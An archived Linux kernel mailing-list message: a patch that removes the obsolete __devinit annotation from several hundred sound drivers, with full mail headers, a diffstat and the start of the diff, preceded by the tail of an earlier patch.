@@ -34,7 +34,7 @@
 #include <linux/types.h>
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
-#include <linux/init.h>		/* for __init and __devinit */
+#include <linux/init.h>		/* for __init and */
 #include <linux/pci.h>
 #include <linux/ioport.h>
 #include <linux/slab.h>
-- 
1.8.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Pemberton <wfp5p@virginia.edu>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.alsa.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.hardware.blackfin.kernel.devel
Subject: [PATCH 261/493] sound: remove use of __devinit
Date: Mon, 19 Nov 2012 13:23:30 -0500
Lines: 11437
Approved: news@gmane.org
Message-ID: <1353349642-3677-261-git-send-email-wfp5p@virginia.edu>
References: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1353362359 26919 80.91.229.3 (19 Nov 2012 21:59:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 19 Nov 2012 21:59:19 +0000 (UTC)
Cc: alsa-devel@alsa-project.org, device-drivers-devel@blackfin.uclinux.org,
 Takashi Iwai <tiwai@suse.de>, Clemens Ladisch <clemens@ladisch.de>,
 Jaroslav Kysela <perex@perex.cz>, Peter Ujfalusi <peter.ujfalusi@ti.com>,
 M R Swami Reddy <mr.swami.reddy@ti.com>,
 Philipp Zabel <philipp.zabel@gmail.com>, Kukjin Kim <kgene.kim@samsung.com>,
 Russell King <linux@arm.linux.org.uk>, patches@opensource.wolfsonmicro.com,
 Vishwas A Deshpande <vishwas.a.deshpande@ti.com>,
 Paul Parsons <lost.distance@yahoo.com>, cbe-oss-dev@lists.ozlabs.org,
 Thibaut Varene <T-Bone@parisc-linux.org>,
 Haojian Zhuang <haojian.zhuang@gmail.com>, linux-samsung-soc@vger.kernel.org,
 Ben Dooks <ben-linux@fluff.org>, linux-omap@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, Jaya Kumar <jayakumar.alsa@gmail.com>,
 Eric Miao <eric.y.miao@gmail.com>, linux-parisc@vger.kernel.org,
 Geoff Levand <geoff@infradead.or
To: gregkh@linuxfoundation.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Mon Nov 19 22:59:00 2012
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1TaZMc-0004FN-4H
	for glppe-linuxppc-embedded-2@m.gmane.org; Mon, 19 Nov 2012 22:58:49 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id E4ABA2C2914
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue, 20 Nov 2012 08:58:21 +1100 (EST)
Original-Received: from viridian.itc.virginia.edu (viridian.itc.Virginia.EDU
 [128.143.12.139]) by ozlabs.org (Postfix) with ESMTP id CC4E72C00A4;
 Tue, 20 Nov 2012 05:43:03 +1100 (EST)
Original-Received: by viridian.itc.virginia.edu (Postfix, from userid 1249)
 id 59F578037C; Mon, 19 Nov 2012 13:27:38 -0500 (EST)
X-Mailer: git-send-email 1.8.0
In-Reply-To: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
X-Mailman-Approved-At: Tue, 20 Nov 2012 08:33:59 +1100
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:54758 gmane.linux.alsa.devel:103054 gmane.linux.kernel.samsung-soc:13900 gmane.linux.ports.arm.omap:89710 gmane.linux.ports.arm.kernel:201186 gmane.linux.ports.parisc:4677 gmane.linux.hardware.blackfin.kernel.devel:6793
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/54758>

CONFIG_HOTPLUG is going away as an option so __devinit is no longer
needed.

Signed-off-by: Bill Pemberton <wfp5p@virginia.edu>
Cc: Russell King <linux@arm.linux.org.uk> 
Cc: Jaroslav Kysela <perex@perex.cz> 
Cc: Takashi Iwai <tiwai@suse.de> 
Cc: Eric Miao <eric.y.miao@gmail.com> 
Cc: Haojian Zhuang <haojian.zhuang@gmail.com> 
Cc: Clemens Ladisch <clemens@ladisch.de> 
Cc: Thibaut Varene <T-Bone@parisc-linux.org> 
Cc: Jaya Kumar <jayakumar.alsa@gmail.com> 
Cc: Geoff Levand <geoff@infradead.org> 
Cc: M R Swami Reddy <mr.swami.reddy@ti.com> 
Cc: Vishwas A Deshpande <vishwas.a.deshpande@ti.com> 
Cc: Peter Ujfalusi <peter.ujfalusi@ti.com> 
Cc: Jarkko Nikula <jarkko.nikula@bitmer.com> 
Cc: Philipp Zabel <philipp.zabel@gmail.com> 
Cc: Paul Parsons <lost.distance@yahoo.com> 
Cc: Ben Dooks <ben-linux@fluff.org> 
Cc: Kukjin Kim <kgene.kim@samsung.com> 
Cc: alsa-devel@alsa-project.org 
Cc: linux-arm-kernel@lists.infradead.org 
Cc: linux-parisc@vger.kernel.org 
Cc: linuxppc-dev@lists.ozlabs.org 
Cc: cbe-oss-dev@lists.ozlabs.org 
Cc: uclinux-dist-devel@blackfin.uclinux.org 
Cc: device-drivers-devel@blackfin.uclinux.org 
Cc: patches@opensource.wolfsonmicro.com 
Cc: linux-omap@vger.kernel.org 
Cc: linux-samsung-soc@vger.kernel.org 
---
 sound/arm/aaci.c                               | 10 +++----
 sound/arm/pxa2xx-ac97-lib.c                    |  2 +-
 sound/arm/pxa2xx-ac97.c                        |  2 +-
 sound/atmel/abdac.c                            |  4 +--
 sound/atmel/ac97c.c                            |  4 +--
 sound/drivers/aloop.c                          |  8 +++---
 sound/drivers/dummy.c                          |  8 +++---
 sound/drivers/ml403-ac97cr.c                   | 14 ++++------
 sound/drivers/mpu401/mpu401.c                  |  6 ++---
 sound/drivers/mtpav.c                          |  8 +++---
 sound/drivers/mts64.c                          | 16 ++++++------
 sound/drivers/pcsp/pcsp.c                      |  8 +++---
 sound/drivers/pcsp/pcsp_input.c                |  2 +-
 sound/drivers/pcsp/pcsp_input.h                |  2 +-
 sound/drivers/pcsp/pcsp_lib.c                  |  2 +-
 sound/drivers/pcsp/pcsp_mixer.c                |  4 +--
 sound/drivers/portman2x4.c                     | 10 +++----
 sound/drivers/serial-u16550.c                  | 10 +++----
 sound/drivers/virmidi.c                        |  2 +-
 sound/firewire/speakers.c                      |  4 +--
 sound/isa/ad1816a/ad1816a.c                    |  6 ++---
 sound/isa/ad1816a/ad1816a_lib.c                | 12 ++++-----
 sound/isa/ad1848/ad1848.c                      |  4 +--
 sound/isa/adlib.c                              |  4 +--
 sound/isa/als100.c                             |  6 ++---
 sound/isa/azt2320.c                            | 10 +++----
 sound/isa/cmi8328.c                            |  4 +--
 sound/isa/cmi8330.c                            | 16 ++++++------
 sound/isa/cs423x/cs4231.c                      |  4 +--
 sound/isa/cs423x/cs4236.c                      | 20 +++++++-------
 sound/isa/es1688/es1688.c                      | 12 ++++-----
 sound/isa/es18xx.c                             | 36 +++++++++++++-------------
 sound/isa/galaxy/galaxy.c                      | 22 ++++++++--------
 sound/isa/gus/gusclassic.c                     |  8 +++---
 sound/isa/gus/gusextreme.c                     | 12 ++++-----
 sound/isa/gus/gusmax.c                         | 10 +++----
 sound/isa/gus/interwave.c                      | 26 +++++++++----------
 sound/isa/msnd/msnd.h                          |  2 +-
 sound/isa/msnd/msnd_pinnacle.c                 | 30 ++++++++++-----------
 sound/isa/msnd/msnd_pinnacle_mixer.c           |  2 +-
 sound/isa/opl3sa2.c                            | 16 ++++++------
 sound/isa/opti9xx/miro.c                       | 26 +++++++++----------
 sound/isa/opti9xx/opti92x-ad1848.c             | 18 ++++++-------
 sound/isa/sb/emu8000.c                         | 33 ++++++++---------------
 sound/isa/sb/jazz16.c                          | 10 +++----
 sound/isa/sb/sb16.c                            | 12 ++++-----
 sound/isa/sb/sb8.c                             |  4 +--
 sound/isa/sc6000.c                             | 24 ++++++++---------
 sound/isa/sscape.c                             | 18 ++++++-------
 sound/isa/wavefront/wavefront.c                | 21 ++++++---------
 sound/isa/wavefront/wavefront_fx.c             |  3 +--
 sound/isa/wavefront/wavefront_midi.c           |  3 +--
 sound/isa/wavefront/wavefront_synth.c          | 21 +++++----------
 sound/mips/au1x00.c                            |  6 ++---
 sound/mips/hal2.c                              |  6 ++---
 sound/mips/sgio2audio.c                        |  8 +++---
 sound/oss/kahlua.c                             |  4 +--
 sound/oss/swarm_cs4297a.c                      |  2 +-
 sound/parisc/harmony.c                         | 12 +++------
 sound/pci/ad1889.c                             | 21 +++++----------
 sound/pci/ak4531_codec.c                       |  5 ++--
 sound/pci/ali5451/ali5451.c                    | 14 +++++-----
 sound/pci/als300.c                             |  6 ++---
 sound/pci/als4000.c                            |  6 ++---
 sound/pci/asihpi/asihpi.c                      | 28 ++++++++++----------
 sound/pci/asihpi/hpioctl.c                     |  2 +-
 sound/pci/asihpi/hpioctl.h                     |  2 +-
 sound/pci/atiixp.c                             | 14 +++++-----
 sound/pci/atiixp_modem.c                       | 10 +++----
 sound/pci/au88x0/au88x0.c                      |  8 +++---
 sound/pci/au88x0/au88x0_a3d.c                  |  4 +--
 sound/pci/au88x0/au88x0_core.c                 |  2 +-
 sound/pci/au88x0/au88x0_eq.c                   |  2 +-
 sound/pci/au88x0/au88x0_game.c                 |  2 +-
 sound/pci/au88x0/au88x0_mixer.c                |  2 +-
 sound/pci/au88x0/au88x0_mpu401.c               |  2 +-
 sound/pci/au88x0/au88x0_pcm.c                  |  2 +-
 sound/pci/aw2/aw2-alsa.c                       | 12 ++++-----
 sound/pci/azt3328.c                            | 21 +++++----------
 sound/pci/bt87x.c                              |  8 +++---
 sound/pci/ca0106/ca0106_main.c                 |  8 +++---
 sound/pci/ca0106/ca0106_mixer.c                | 13 +++++-----
 sound/pci/ca0106/ca0106_proc.c                 |  2 +-
 sound/pci/ca0106/ca_midi.c                     |  2 +-
 sound/pci/cmipci.c                             | 20 +++++++-------
 sound/pci/cs4281.c                             | 14 +++++-----
 sound/pci/cs46xx/cs46xx.c                      |  2 +-
 sound/pci/cs46xx/cs46xx_lib.c                  | 24 ++++++++---------
 sound/pci/cs5530.c                             |  6 ++---
 sound/pci/cs5535audio/cs5535audio.c            |  6 ++---
 sound/pci/cs5535audio/cs5535audio.h            |  6 ++---
 sound/pci/cs5535audio/cs5535audio_olpc.c       |  4 +--
 sound/pci/cs5535audio/cs5535audio_pcm.c        |  2 +-
 sound/pci/ctxfi/ctatc.c                        |  8 +++---
 sound/pci/ctxfi/ctatc.h                        |  4 +--
 sound/pci/ctxfi/cthardware.c                   |  2 +-
 sound/pci/ctxfi/cthw20k1.c                     |  2 +-
 sound/pci/ctxfi/cthw20k2.c                     |  2 +-
 sound/pci/ctxfi/xfi.c                          |  3 +--
 sound/pci/echoaudio/echoaudio.c                |  6 ++---
 sound/pci/echoaudio/echoaudio.h                |  2 +-
 sound/pci/echoaudio/midi.c                     |  2 +-
 sound/pci/emu10k1/emu10k1.c                    |  2 +-
 sound/pci/emu10k1/emu10k1_main.c               |  4 +--
 sound/pci/emu10k1/emu10k1x.c                   | 14 +++++-----
 sound/pci/emu10k1/emufx.c                      | 28 +++++++++-----------
 sound/pci/emu10k1/emumixer.c                   |  2 +-
 sound/pci/emu10k1/emumpu401.c                  |  6 ++---
 sound/pci/emu10k1/emupcm.c                     |  8 +++---
 sound/pci/emu10k1/emuproc.c                    |  2 +-
 sound/pci/emu10k1/p16v.c                       |  6 ++---
 sound/pci/emu10k1/timer.c                      |  2 +-
 sound/pci/ens1370.c                            | 20 +++++++-------
 sound/pci/es1938.c                             | 10 +++----
 sound/pci/es1968.c                             | 19 ++++++--------
 sound/pci/fm801.c                              |  8 +++---
 sound/pci/hda/hda_intel.c                      | 30 ++++++++++-----------
 sound/pci/ice1712/amp.c                        |  4 +--
 sound/pci/ice1712/aureon.c                     |  4 +--
 sound/pci/ice1712/delta.c                      |  4 +--
 sound/pci/ice1712/ews.c                        |  4 +--
 sound/pci/ice1712/hoontech.c                   | 20 +++++++-------
 sound/pci/ice1712/ice1712.c                    | 28 ++++++++++----------
 sound/pci/ice1712/ice1724.c                    | 20 +++++++-------
 sound/pci/ice1712/juli.c                       |  8 +++---
 sound/pci/ice1712/maya44.c                     |  6 ++---
 sound/pci/ice1712/phase.c                      |  8 +++---
 sound/pci/ice1712/pontis.c                     |  4 +--
 sound/pci/ice1712/prodigy192.c                 |  4 +--
 sound/pci/ice1712/prodigy_hifi.c               |  8 +++---
 sound/pci/ice1712/psc724.c                     |  4 +--
 sound/pci/ice1712/quartet.c                    |  8 +++---
 sound/pci/ice1712/revo.c                       |  6 ++---
 sound/pci/ice1712/se.c                         | 12 ++++-----
 sound/pci/ice1712/vt1720_mobo.c                |  4 +--
 sound/pci/ice1712/wtm.c                        |  4 +--
 sound/pci/intel8x0.c                           | 22 ++++++++--------
 sound/pci/intel8x0m.c                          | 12 ++++-----
 sound/pci/korg1212/korg1212.c                  |  7 +++--
 sound/pci/lola/lola.c                          |  6 ++---
 sound/pci/lola/lola_clock.c                    |  2 +-
 sound/pci/lola/lola_mixer.c                    | 16 ++++++------
 sound/pci/lola/lola_pcm.c                      |  4 +--
 sound/pci/lola/lola_proc.c                     |  2 +-
 sound/pci/lx6464es/lx6464es.c                  | 18 ++++++-------
 sound/pci/lx6464es/lx_core.c                   |  2 +-
 sound/pci/lx6464es/lx_core.h                   |  2 +-
 sound/pci/maestro3.c                           | 15 +++++------
 sound/pci/mixart/mixart.c                      |  6 ++---
 sound/pci/nm256/nm256.c                        | 14 ++++------
 sound/pci/oxygen/oxygen.c                      |  4 +--
 sound/pci/oxygen/virtuoso.c                    |  4 +--
 sound/pci/oxygen/xonar_cs43xx.c                |  2 +-
 sound/pci/oxygen/xonar_pcm179x.c               |  2 +-
 sound/pci/oxygen/xonar_wm87x6.c                |  2 +-
 sound/pci/pcxhr/pcxhr.c                        |  6 ++---
 sound/pci/riptide/riptide.c                    | 16 +++++-------
 sound/pci/rme32.c                              |  7 +++--
 sound/pci/rme96.c                              | 10 +++----
 sound/pci/rme9652/hdsp.c                       |  6 ++---
 sound/pci/rme9652/hdspm.c                      | 20 +++++++-------
 sound/pci/rme9652/rme9652.c                    | 10 +++----
 sound/pci/sis7019.c                            |  8 +++---
 sound/pci/sonicvibes.c                         | 14 +++++-----
 sound/pci/trident/trident.c                    |  2 +-
 sound/pci/trident/trident_main.c               | 18 ++++++-------
 sound/pci/via82xx.c                            | 22 ++++++++--------
 sound/pci/via82xx_modem.c                      | 10 +++----
 sound/pci/vx222/vx222.c                        |  4 +--
 sound/pci/ymfpci/ymfpci.c                      |  4 +--
 sound/pci/ymfpci/ymfpci_main.c                 | 20 +++++++-------
 sound/ppc/awacs.c                              |  3 +--
 sound/ppc/beep.c                               |  2 +-
 sound/ppc/burgundy.c                           |  2 +-
 sound/ppc/daca.c                               |  2 +-
 sound/ppc/keywest.c                            |  4 +--
 sound/ppc/pmac.c                               | 10 +++----
 sound/ppc/powermac.c                           |  2 +-
 sound/ppc/snd_ps3.c                            | 12 ++++-----
 sound/ppc/tumbler.c                            |  4 +--
 sound/sh/aica.c                                |  4 +--
 sound/sh/sh_dac_audio.c                        |  6 ++---
 sound/soc/atmel/atmel-pcm.c                    |  2 +-
 sound/soc/atmel/atmel_ssc_dai.c                |  2 +-
 sound/soc/atmel/sam9g20_wm8731.c               |  2 +-
 sound/soc/au1x/ac97c.c                         |  2 +-
 sound/soc/au1x/db1000.c                        |  2 +-
 sound/soc/au1x/db1200.c                        |  2 +-
 sound/soc/au1x/dbdma2.c                        |  2 +-
 sound/soc/au1x/dma.c                           |  2 +-
 sound/soc/au1x/i2sc.c                          |  2 +-
 sound/soc/au1x/psc-ac97.c                      |  2 +-
 sound/soc/au1x/psc-i2s.c                       |  2 +-
 sound/soc/blackfin/bf5xx-ac97-pcm.c            |  2 +-
 sound/soc/blackfin/bf5xx-ac97.c                |  2 +-
 sound/soc/blackfin/bf5xx-ad1836.c              |  2 +-
 sound/soc/blackfin/bf5xx-i2s-pcm.c             |  2 +-
 sound/soc/blackfin/bf5xx-i2s.c                 |  2 +-
 sound/soc/blackfin/bf5xx-tdm-pcm.c             |  2 +-
 sound/soc/blackfin/bf5xx-tdm.c                 |  2 +-
 sound/soc/blackfin/bf6xx-i2s.c                 |  2 +-
 sound/soc/cirrus/edb93xx.c                     |  2 +-
 sound/soc/cirrus/ep93xx-ac97.c                 |  2 +-
 sound/soc/cirrus/ep93xx-pcm.c                  |  2 +-
 sound/soc/cirrus/simone.c                      |  2 +-
 sound/soc/cirrus/snappercl15.c                 |  2 +-
 sound/soc/codecs/88pm860x-codec.c              |  2 +-
 sound/soc/codecs/ab8500-codec.c                |  2 +-
 sound/soc/codecs/ac97.c                        |  2 +-
 sound/soc/codecs/ad1836.c                      |  2 +-
 sound/soc/codecs/ad193x.c                      |  4 +--
 sound/soc/codecs/ad1980.c                      |  2 +-
 sound/soc/codecs/adau1373.c                    |  2 +-
 sound/soc/codecs/adau1701.c                    |  2 +-
 sound/soc/codecs/adav80x.c                     |  6 ++---
 sound/soc/codecs/ads117x.c                     |  2 +-
 sound/soc/codecs/ak4535.c                      |  2 +-
 sound/soc/codecs/ak4641.c                      |  2 +-
 sound/soc/codecs/ak4642.c                      |  2 +-
 sound/soc/codecs/ak4671.c                      |  2 +-
 sound/soc/codecs/alc5623.c                     |  2 +-
 sound/soc/codecs/alc5632.c                     |  2 +-
 sound/soc/codecs/cs4271.c                      |  4 +--
 sound/soc/codecs/cs42l73.c                     |  2 +-
 sound/soc/codecs/da7210.c                      |  4 +--
 sound/soc/codecs/da732x.c                      |  2 +-
 sound/soc/codecs/da9055.c                      |  2 +-
 sound/soc/codecs/dfbmcs320.c                   |  2 +-
 sound/soc/codecs/dmic.c                        |  2 +-
 sound/soc/codecs/isabelle.c                    |  2 +-
 sound/soc/codecs/jz4740.c                      |  2 +-
 sound/soc/codecs/lm4857.c                      |  2 +-
 sound/soc/codecs/lm49453.c                     |  2 +-
 sound/soc/codecs/max9768.c                     |  2 +-
 sound/soc/codecs/max9850.c                     |  2 +-
 sound/soc/codecs/max9877.c                     |  2 +-
 sound/soc/codecs/ml26124.c                     |  2 +-
 sound/soc/codecs/omap-hdmi.c                   |  2 +-
 sound/soc/codecs/pcm3008.c                     |  2 +-
 sound/soc/codecs/sgtl5000.c                    |  2 +-
 sound/soc/codecs/si476x.c                      |  2 +-
 sound/soc/codecs/sn95031.c                     |  2 +-
 sound/soc/codecs/ssm2602.c                     |  4 +--
 sound/soc/codecs/sta32x.c                      |  2 +-
 sound/soc/codecs/sta529.c                      |  2 +-
 sound/soc/codecs/stac9766.c                    |  2 +-
 sound/soc/codecs/tlv320aic32x4.c               |  2 +-
 sound/soc/codecs/tlv320dac33.c                 |  2 +-
 sound/soc/codecs/tpa6130a2.c                   |  2 +-
 sound/soc/codecs/twl4030.c                     |  2 +-
 sound/soc/codecs/twl6040.c                     |  2 +-
 sound/soc/codecs/uda134x.c                     |  2 +-
 sound/soc/codecs/uda1380.c                     |  2 +-
 sound/soc/codecs/wl1273.c                      |  2 +-
 sound/soc/codecs/wm0010.c                      |  2 +-
 sound/soc/codecs/wm1250-ev1.c                  |  4 +--
 sound/soc/codecs/wm2000.c                      |  2 +-
 sound/soc/codecs/wm2200.c                      |  2 +-
 sound/soc/codecs/wm5100.c                      |  2 +-
 sound/soc/codecs/wm5102.c                      |  2 +-
 sound/soc/codecs/wm5110.c                      |  2 +-
 sound/soc/codecs/wm8350.c                      |  2 +-
 sound/soc/codecs/wm8400.c                      |  2 +-
 sound/soc/codecs/wm8510.c                      |  4 +--
 sound/soc/codecs/wm8523.c                      |  2 +-
 sound/soc/codecs/wm8711.c                      |  4 +--
 sound/soc/codecs/wm8727.c                      |  2 +-
 sound/soc/codecs/wm8728.c                      |  4 +--
 sound/soc/codecs/wm8731.c                      |  4 +--
 sound/soc/codecs/wm8737.c                      |  4 +--
 sound/soc/codecs/wm8741.c                      |  2 +-
 sound/soc/codecs/wm8750.c                      |  4 +--
 sound/soc/codecs/wm8753.c                      |  4 +--
 sound/soc/codecs/wm8770.c                      |  2 +-
 sound/soc/codecs/wm8776.c                      |  4 +--
 sound/soc/codecs/wm8782.c                      |  2 +-
 sound/soc/codecs/wm8804.c                      |  4 +--
 sound/soc/codecs/wm8900.c                      |  4 +--
 sound/soc/codecs/wm8903.c                      |  2 +-
 sound/soc/codecs/wm8904.c                      |  2 +-
 sound/soc/codecs/wm8940.c                      |  2 +-
 sound/soc/codecs/wm8955.c                      |  2 +-
 sound/soc/codecs/wm8960.c                      |  2 +-
 sound/soc/codecs/wm8961.c                      |  2 +-
 sound/soc/codecs/wm8962.c                      |  2 +-
 sound/soc/codecs/wm8971.c                      |  2 +-
 sound/soc/codecs/wm8974.c                      |  2 +-
 sound/soc/codecs/wm8978.c                      |  2 +-
 sound/soc/codecs/wm8983.c                      |  4 +--
 sound/soc/codecs/wm8985.c                      |  4 +--
 sound/soc/codecs/wm8988.c                      |  4 +--
 sound/soc/codecs/wm8990.c                      |  2 +-
 sound/soc/codecs/wm8991.c                      |  2 +-
 sound/soc/codecs/wm8993.c                      |  2 +-
 sound/soc/codecs/wm8994.c                      |  2 +-
 sound/soc/codecs/wm8995.c                      |  4 +--
 sound/soc/codecs/wm8996.c                      |  2 +-
 sound/soc/codecs/wm9081.c                      |  2 +-
 sound/soc/codecs/wm9705.c                      |  2 +-
 sound/soc/codecs/wm9712.c                      |  2 +-
 sound/soc/codecs/wm9713.c                      |  2 +-
 sound/soc/fsl/eukrea-tlv320.c                  |  2 +-
 sound/soc/fsl/fsl_dma.c                        |  2 +-
 sound/soc/fsl/fsl_ssi.c                        |  2 +-
 sound/soc/fsl/imx-audmux.c                     |  2 +-
 sound/soc/fsl/imx-mc13783.c                    |  2 +-
 sound/soc/fsl/imx-pcm-dma.c                    |  2 +-
 sound/soc/fsl/imx-pcm-fiq.c                    |  2 +-
 sound/soc/fsl/imx-sgtl5000.c                   |  2 +-
 sound/soc/fsl/mpc5200_psc_ac97.c               |  2 +-
 sound/soc/fsl/mpc5200_psc_i2s.c                |  2 +-
 sound/soc/fsl/mx27vis-aic32x4.c                |  2 +-
 sound/soc/jz4740/jz4740-i2s.c                  |  2 +-
 sound/soc/jz4740/jz4740-pcm.c                  |  2 +-
 sound/soc/jz4740/qi_lb60.c                     |  2 +-
 sound/soc/kirkwood/kirkwood-dma.c              |  2 +-
 sound/soc/kirkwood/kirkwood-i2s.c              |  2 +-
 sound/soc/kirkwood/kirkwood-openrd.c           |  2 +-
 sound/soc/kirkwood/kirkwood-t5325.c            |  2 +-
 sound/soc/mid-x86/mfld_machine.c               |  2 +-
 sound/soc/mxs/mxs-pcm.c                        |  2 +-
 sound/soc/mxs/mxs-saif.c                       |  2 +-
 sound/soc/mxs/mxs-sgtl5000.c                   |  4 +--
 sound/soc/nuc900/nuc900-ac97.c                 |  2 +-
 sound/soc/nuc900/nuc900-pcm.c                  |  2 +-
 sound/soc/omap/ams-delta.c                     |  2 +-
 sound/soc/omap/mcbsp.c                         |  4 +--
 sound/soc/omap/mcbsp.h                         |  2 +-
 sound/soc/omap/omap-abe-twl6040.c              |  2 +-
 sound/soc/omap/omap-dmic.c                     |  2 +-
 sound/soc/omap/omap-hdmi-card.c                |  2 +-
 sound/soc/omap/omap-hdmi.c                     |  2 +-
 sound/soc/omap/omap-mcbsp.c                    |  2 +-
 sound/soc/omap/omap-mcpdm.c                    |  2 +-
 sound/soc/omap/omap-pcm.c                      |  2 +-
 sound/soc/omap/omap-twl4030.c                  |  2 +-
 sound/soc/pxa/brownstone.c                     |  2 +-
 sound/soc/pxa/corgi.c                          |  2 +-
 sound/soc/pxa/e740_wm9705.c                    |  2 +-
 sound/soc/pxa/e750_wm9705.c                    |  2 +-
 sound/soc/pxa/e800_wm9712.c                    |  2 +-
 sound/soc/pxa/hx4700.c                         |  2 +-
 sound/soc/pxa/imote2.c                         |  2 +-
 sound/soc/pxa/mioa701_wm9713.c                 |  2 +-
 sound/soc/pxa/mmp-pcm.c                        |  2 +-
 sound/soc/pxa/mmp-sspa.c                       |  2 +-
 sound/soc/pxa/poodle.c                         |  2 +-
 sound/soc/pxa/pxa-ssp.c                        |  2 +-
 sound/soc/pxa/pxa2xx-ac97.c                    |  4 +--
 sound/soc/pxa/pxa2xx-pcm.c                     |  2 +-
 sound/soc/pxa/tosa.c                           |  2 +-
 sound/soc/pxa/ttc-dkb.c                        |  2 +-
 sound/soc/s6000/s6000-i2s.c                    |  2 +-
 sound/soc/s6000/s6000-pcm.c                    |  2 +-
 sound/soc/samsung/ac97.c                       |  2 +-
 sound/soc/samsung/bells.c                      |  2 +-
 sound/soc/samsung/dma.c                        |  2 +-
 sound/soc/samsung/i2s.c                        |  5 ++--
 sound/soc/samsung/idma.c                       |  2 +-
 sound/soc/samsung/littlemill.c                 |  2 +-
 sound/soc/samsung/lowland.c                    |  2 +-
 sound/soc/samsung/pcm.c                        |  2 +-
 sound/soc/samsung/s3c2412-i2s.c                |  2 +-
 sound/soc/samsung/s3c24xx-i2s.c                |  2 +-
 sound/soc/samsung/s3c24xx_simtec.c             |  2 +-
 sound/soc/samsung/s3c24xx_simtec_hermes.c      |  2 +-
 sound/soc/samsung/s3c24xx_simtec_tlv320aic23.c |  2 +-
 sound/soc/samsung/smdk_wm8580pcm.c             |  2 +-
 sound/soc/samsung/smdk_wm8994.c                |  2 +-
 sound/soc/samsung/smdk_wm8994pcm.c             |  2 +-
 sound/soc/samsung/spdif.c                      |  2 +-
 sound/soc/samsung/speyside.c                   |  2 +-
 sound/soc/samsung/tobermory.c                  |  2 +-
 sound/soc/sh/dma-sh7760.c                      |  2 +-
 sound/soc/sh/hac.c                             |  2 +-
 sound/soc/sh/siu_dai.c                         |  2 +-
 sound/soc/sh/ssi.c                             |  2 +-
 sound/soc/soc-utils.c                          |  2 +-
 sound/soc/spear/spear_pcm.c                    |  2 +-
 sound/soc/tegra/tegra20_das.c                  |  2 +-
 sound/soc/tegra/tegra20_i2s.c                  |  2 +-
 sound/soc/tegra/tegra20_spdif.c                |  2 +-
 sound/soc/tegra/tegra30_ahub.c                 |  2 +-
 sound/soc/tegra/tegra30_i2s.c                  |  2 +-
 sound/soc/tegra/tegra_alc5632.c                |  2 +-
 sound/soc/tegra/tegra_pcm.c                    |  2 +-
 sound/soc/tegra/tegra_wm8753.c                 |  2 +-
 sound/soc/tegra/tegra_wm8903.c                 |  2 +-
 sound/soc/tegra/trimslice.c                    |  2 +-
 sound/soc/txx9/txx9aclc-ac97.c                 |  2 +-
 sound/soc/txx9/txx9aclc.c                      |  2 +-
 sound/soc/ux500/mop500.c                       |  4 +--
 sound/soc/ux500/ux500_msp_dai.c                |  2 +-
 sound/soc/ux500/ux500_pcm.c                    |  2 +-
 sound/sparc/amd7930.c                          |  8 +++---
 sound/sparc/cs4231.c                           | 24 ++++++++---------
 sound/sparc/dbri.c                             | 18 ++++++-------
 sound/spi/at73c213.c                           | 12 ++++-----
 398 files changed, 1042 insertions(+), 1120 deletions(-)

diff --git a/sound/arm/aaci.c b/sound/arm/aaci.c
index eb9cad3..5ea9724 100644
--- a/sound/arm/aaci.c
+++ b/sound/arm/aaci.c
@@ -832,7 +832,7 @@ static struct snd_ac97_bus_ops aaci_bus_ops = {
 	.read	= aaci_ac97_read,
 };
 
-static int __devinit aaci_probe_ac97(struct aaci *aaci)
+static int aaci_probe_ac97(struct aaci *aaci)
 {
 	struct snd_ac97_template ac97_template;
 	struct snd_ac97_bus *ac97_bus;
@@ -893,7 +893,7 @@ static void aaci_free_card(struct snd_card *card)
 		iounmap(aaci->base);
 }
 
-static struct aaci * __devinit aaci_init_card(struct amba_device *dev)
+static struct aaci *aaci_init_card(struct amba_device *dev)
 {
 	struct aaci *aaci;
 	struct snd_card *card;
@@ -926,7 +926,7 @@ static struct aaci * __devinit aaci_init_card(struct amba_device *dev)
 	return aaci;
 }
 
